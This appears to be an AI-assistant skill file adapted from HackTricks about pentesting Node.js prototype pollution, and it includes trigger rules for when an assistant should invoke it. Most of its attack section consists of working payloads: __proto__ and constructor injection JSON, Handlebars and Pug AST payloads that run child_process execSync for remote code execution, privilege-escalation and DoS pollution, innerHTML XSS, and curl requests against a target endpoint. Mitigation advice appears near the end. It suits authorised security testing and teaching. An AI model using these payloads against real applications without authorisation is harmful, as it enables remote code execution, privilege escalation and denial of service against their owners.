Hacktricks-skills nodejs-prototype-pollution-pentest

How to identify and exploit prototype pollution vulnerabilities in Node.js applications. Use this skill whenever the user mentions prototype pollution, __proto__, Object.prototype, JavaScript prototype attacks, Node.js deserialization vulnerabilities, or wants to test for prototype pollution in web applications. Also trigger when users ask about CVE-2019-11358, CVE-2018-3721, CVE-2019-10744, jQuery extend vulnerabilities, lodash prototype pollution, Handlebars/Pug template injection, or any JavaScript object manipulation attacks.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/deserialization/nodejs-proto-prototype-pollution/nodejs-proto-prototype-pollution/SKILL.MD
source content

Node.js Prototype Pollution Pentesting

A comprehensive guide for identifying and exploiting prototype pollution vulnerabilities in Node.js applications.

What is Prototype Pollution?

Prototype pollution is a JavaScript vulnerability where an attacker can modify the

Object.prototype
or other object prototypes, affecting all objects that inherit from them. This can lead to:

  • Denial of Service (DoS) - Adding properties that break application logic
  • Remote Code Execution (RCE) - Injecting code through template engines
  • Privilege Escalation - Setting
    admin: true
    on all user objects
  • Cross-Site Scripting (XSS) - Polluting HTML element properties

When to Use This Skill

Use this skill when:

  • Testing Node.js applications for prototype pollution
  • Analyzing deserialization vulnerabilities
  • Investigating jQuery, lodash, or other library vulnerabilities
  • Testing template engines (Handlebars, Pug, EJS)
  • Reviewing code that uses recursive merge functions
  • Analyzing JSON input handling

Quick Reference: Attack Vectors

1. Direct Object.prototype Pollution

// Pollute Object.prototype directly
Object.prototype.isAdmin = true
Object.prototype.toString = () => { alert("polluted") }

// Via __proto__
Object.assign({}, { __proto__: { isAdmin: true } })

// Via constructor
({}).constructor.prototype.isAdmin = true

2. Constructor Prototype Pollution

// Pollute specific constructor
Vehicle.prototype.beep = function() { console.log("beep") }

// Via constructor.prototype
example.constructor.prototype.greet = function() { console.log("hello") }

3. Array Index Pollution

// Pollute array by index
a = []
a.constructor.prototype[1] = "yolo"
b = []
console.log(b[1]) // "yolo"

4. HTML Element Pollution (Client-side XSS)

// Pollute innerHTML
settings[root][innerHTML] = "<svg onload=alert(1)>"

// Pollute ownerDocument to prevent overwrites
settings[root][ownerDocument][body][innerHTML] = "<svg onload=alert(document.domain)>"

Common Vulnerable Libraries

jQuery (CVE-2019-11358)

// Vulnerable code
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // true

// Test payload
{
  "__proto__": {
    "isAdmin": true,
    "devMode": true
  }
}

Lodash (CVE-2018-3721, CVE-2019-10744)

// Vulnerable in versions < 4.17.11
_.merge({}, { __proto__: { admin: true } })
_.defaults({}, { __proto__: { admin: true } })
_.assign({}, { __proto__: { admin: true } })

// Test payload
{
  "__proto__": {
    "admin": true,
    "role": "administrator"
  }
}

Handlebars Template Engine

// AST-based pollution for RCE
Object.prototype.type = "Program"
Object.prototype.body = [
  {
    type: "MustacheStatement",
    path: 0,
    params: [
      {
        type: "NumberLiteral",
        value: "console.log(process.mainModule.require('child_process').execSync('id').toString())"
      }
    ],
    loc: { start: 0, end: 0 }
  }
]

// HTTP payload
{
  "__proto__.type": "Program",
  "__proto__.body": [{
    "type": "MustacheStatement",
    "path": 0,
    "params": [{
      "type": "NumberLiteral",
      "value": "process.mainModule.require('child_process').execSync('id')"
    }],
    "loc": { "start": 0, "end": 0 }
  }]
}

Pug Template Engine

// AST-based pollution for RCE
{
  "__proto__.block": {
    "type": "Text",
    "line": "process.mainModule.require('child_process').execSync('id')"
  }
}

Detection Techniques

1. Identify Vulnerable Patterns

Look for these code patterns:

// Recursive merge functions
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      target[key] = merge(target[key] || {}, source[key])
    } else {
      target[key] = source[key]
    }
  }
  return target
}

// Object.assign with __proto__
Object.assign({}, userInput)

// JSON.parse without validation
const data = JSON.parse(request.body)

2. Check for Prototype Access

// Check if __proto__ is accessible
console.log({}.__proto__)

// Check if Object.prototype can be modified
Object.prototype.test = true
console.log({}.test) // true = vulnerable

3. Test Input Validation

// Test various payload formats
{
  "__proto__": { "isAdmin": true }
}
{
  "constructor": { "prototype": { "isAdmin": true } }
}
{
  "__proto__": { "toString": "polluted" }
}

Exploitation Workflow

Step 1: Reconnaissance

  1. Identify the technology stack

    • Check for Node.js, Express, Koa
    • Identify JavaScript libraries (jQuery, lodash, etc.)
    • Look for template engines (Handlebars, Pug, EJS)
  2. Find input vectors

    • JSON API endpoints
    • Query parameters
    • POST body data
    • Cookie values
    • URL parameters

Step 2: Initial Testing

# Test basic prototype pollution
curl -X POST http://target/api/endpoint \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"isAdmin":true}}'

# Test constructor pollution
curl -X POST http://target/api/endpoint \
  -H "Content-Type: application/json" \
  -d '{"constructor":{"prototype":{"isAdmin":true}}}'

# Test with different encodings
curl -X POST http://target/api/endpoint \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"isAdmin":true}}'

Step 3: Verify Pollution

// Check if pollution worked
console.log({}.isAdmin) // Should be true if polluted

// Check for side effects
console.log({}.toString) // Should be function if not polluted

Step 4: Exploit the Vulnerability

// Privilege escalation
Object.prototype.isAdmin = true
Object.prototype.role = "admin"

// DoS
Object.prototype.toString = () => { throw new Error("DoS") }

// RCE via template engines
Object.prototype.type = "Program"
Object.prototype.body = [{
  type: "MustacheStatement",
  path: 0,
  params: [{
    type: "NumberLiteral",
    value: "require('child_process').execSync('id')"
  }]
}]

Automated Testing Scripts

Use the bundled scripts for automated testing:

  • scripts/generate-pollution-payloads.js
    - Generate various prototype pollution payloads
  • scripts/test-endpoint.js
    - Test endpoints for prototype pollution
  • scripts/check-library-versions.js
    - Check for vulnerable library versions

Mitigation Strategies

For Developers

  1. Freeze Object.prototype

    Object.freeze(Object.prototype)
    
  2. Use Object.create(null)

    const safeObject = Object.create(null)
    
  3. Validate Input

    function safeMerge(target, source) {
      for (let key in source) {
        if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
          continue
        }
        if (typeof source[key] === 'object') {
          target[key] = safeMerge(target[key] || {}, source[key])
        } else {
          target[key] = source[key]
        }
      }
      return target
    }
    
  4. Use Map instead of Object

    const data = new Map()
    data.set('key', 'value')
    
  5. Update Libraries

    • lodash >= 4.17.11
    • jQuery >= 3.4.0
    • flat >= 3.0.0

For Pentesters

  1. Use detection tools

    • Server-Side-Prototype-Pollution-Gadgets-Scanner (Burp Suite)
    • server-side-prototype-pollution (Burp Suite)
  2. Check for known CVEs

    • CVE-2019-11358 (jQuery)
    • CVE-2018-3721, CVE-2019-10744 (lodash)
    • CVE-2019-7609 (Kibana)
  3. Test edge cases

    • Different encodings
    • Nested objects
    • Array indices
    • Constructor chains

References

Next Steps

After identifying a prototype pollution vulnerability:

  1. Document the finding - Include proof of concept
  2. Assess impact - Determine what can be achieved
  3. Test for RCE - Try template engine exploitation
  4. Check for privilege escalation - Test admin flags
  5. Look for chainable vulnerabilities - Combine with other issues

Use the scripts in this skill package to automate testing and generate payloads for your specific target.